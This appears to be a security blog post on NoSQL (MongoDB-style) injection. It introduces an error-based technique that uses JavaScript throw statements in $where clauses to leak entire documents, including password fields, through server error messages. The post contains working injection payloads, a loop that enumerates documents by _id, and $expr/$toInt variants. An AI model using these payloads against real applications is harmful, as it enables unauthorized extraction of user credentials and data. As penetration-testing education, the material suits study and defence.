Our Blog

NoSQL error-based injection

Reading time ~6 min

TL;DR How to do NoSQL error-based injection

In this second blog post (read the first one here), on NoSQL injection, I discuss how to do error-based injection. I think this might be a novel approach – at least my Google search-fu isn’t finding anything.

When trying to extract information via NoSQL injection, you typically make use of Boolean conditions to figure out a character. Portswigger has a couple of examples here.

In one of Portswigger’s examples, they consider the case where you can look up another user’s profile via a website that’s vulnerable to NoSQL $where injection. To get the first char of the admin user’s password, we then use the payload admin' && this.password[0] == 'a' || 'a'=='b

This will make the query

{"$where":"this.username =='admin' && this.password[0] == 'a'||'a'=='b' "}

Breaking this down, we are saying:

  • Provide all documents where username is set to admin
  • AND where the first character of the password is an a
  • OR where a==b (this will always be false)

In practice, the admin user’s info will only return if their password starts with the a character. So, if we don’t get any data back, we move on to b then c and so forth, until we have the first character. Then we move on to the second character.

In case we are not injecting into $where, we can in some cases make use of the $regex operator for a similar effect. In this case, we would inject the "{"$regex":"^a*"} so that the query becomes

{"username":"admin","password":{"$regex":"^a*"}}

This will return the user’s info in case their password starts with an a. You can then add character by character to the regex, until you have the full value. You can also make use of sleep in $where based injection, to cause a delay – for instance if the password’s first character is an a, otherwise return immediately.

These approaches are obviously very slow, and I wanted a quick way to extract a full document, including field names I didn’t know. Unfortunately, NoSQL Injection doesn’t really have an equivalent to union or stacked query injection, unless you are injecting into an aggregate pipeline.

However, NoSQL does produce error messages, which made me think that you could get error-based injection going, which is typically quite fast. The obvious prerequisite for this is that the web application provides error messages from the NoSQL server to the user.

After playing around a bit, I got it working in $where based injection, by making use of the throw command which causes an error condition to occur. For the error message argument of the throw command, we provide the this object, which refers to the current document. As a result, the error message shows the first full document. It stops at the first document, since the error prevents it from processing the rest. The payload we introduce is something like this:

throw new Error(JSON.stringify(this))

If we are introducing this into an existing $where clause, we need to make sure that the syntax is valid. The easiest way to do this is to escape any existing strings, start a new command with a ;, add in the throw command, and then end the command with a ; and get rid of the trailing with a of our own.

For instance if we are injecting into the username value of this query:

{"$where":"this.username='bob' && this.password=='1e23f41b2...' "}

We provide

'; throw new Error(JSON.stringify(this));'

Causing the query to become:

{"$where":"this.username=''; throw new Error(JSON.stringify(this)); '' && this.password=='1e23f41b2...'"}

We don’t really care about what happens after the throw command, as the error will prevent its execution. We just need it to be valid syntax. We could also use a null byte after the throw command, to remove all text after it.

If we are not injecting into an $where, we may be able to add our own $where clause if we are dealing with syntax injection. For instance, if we are injecting into the username value of the following document:

{"username":"bob"}

we provide

","username":{"$ne":""},"$where":"throw new Error(JSON.stringify(this))

So that the query becomes

{"username":"", "username":{"$ne":""},"$where":"throw new Error(JSON.stringify(this))"}

You can see in the above payload that we redefine the username field, like we discussed in the first blog post, so that the query matches all users instead.

What if we would like to have the second, third or more document?

We can make use of an if statement within the $where clause so that the throw command does not get executed in case it’s a document that we already have exfiltrated.

For instance, if we already have exfiltrated the first user bob’s document, then we can do something like this to get the second user:

if (!['bob'].includes(this.username)) 
{throw new Error(JSON.stringify(this))}

To get the third user, we just add in the second user into the array , i.e.

if (!['bob','sue'].includes(this.username))
{throw new Error(JSON.stringify(this))}

This isn’t the best approach since you need to specify each exfiltrated username. Instead we can make use of the disclosed _id field to specify to dump the document that has a larger _id value. We then only need to update the _id value each time, until we have cycled through them all. The payload for something like this would be:

if (this._id>'66d5ef7d01c52a87f75e739c') {throw new Error(JSON.stringify(this))}

Where '66d5ef7d01c52a87f75e739c' is the last _id value you extracted.

You can also make use of $expr and $function, to execute JS without $where. However, it’s not as useful, as you need to know the field names beforehand and you don’t have access to the current document. Instead, you only have access to the field names you provide. The syntax to exfiltrate the current document’s username field would look something like this:

$expr:{$function:{body:function(username){throw new Error(username);},args: ["$username"], lang: "js"}}

This is a bit unwieldy. You can also make use of $expr and $function to cause an error condition. The idea is to cast a string value to an int, and then see the value in the error message. The syntax to extract the first document’s username field would be:

"$expr": {"$toInt": ["$username"]}

which is much shorter than the $function equivalent.

I’ve had fun using this to exfiltrate data from collections. I hope its useful for you.